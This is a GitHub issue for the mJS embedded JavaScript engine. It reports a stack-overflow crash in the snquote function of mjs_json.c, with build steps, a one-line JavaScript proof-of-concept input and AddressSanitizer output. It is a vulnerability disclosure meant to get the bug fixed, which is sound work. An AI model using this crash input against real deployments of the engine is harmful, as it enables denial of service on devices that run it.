search

cesanta / mjs

Embedded JavaScript engine for C/C++
https://mongoose-os.com
Other
1.88k stars 172 forks source link

Stack-overflow mjs/src/mjs_json.c:102:7 in snquote #200

Open hope-fly opened 2 years ago

hope-fly commented 2 years ago
mJS revision

Commit: b1b6eac

Build steps
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
Test case
poc.js 


```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```

​

Execution steps & Output
$ ./mjs/build/mjs poc.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==61262==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc3387c0b8 (pc 0x00000057a83c bp 0x7ffc338787d0 sp 0x7ffc33878338 T0)
    #0 0x57a83b in snquote /root/mjs/src/mjs_json.c:102:7
    #1 0x57a83b in to_json_or_debug /root/mjs/src/mjs_json.c:167
    #2 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
    #3 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
    #4 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
    #5 0x7f82916bcb96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
    #6 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)

SUMMARY: AddressSanitizer: stack-overflow /root/mjs/src/mjs_json.c:102:7 in snquote
==61262==ABORTING

Credits: Found by OWL337 team.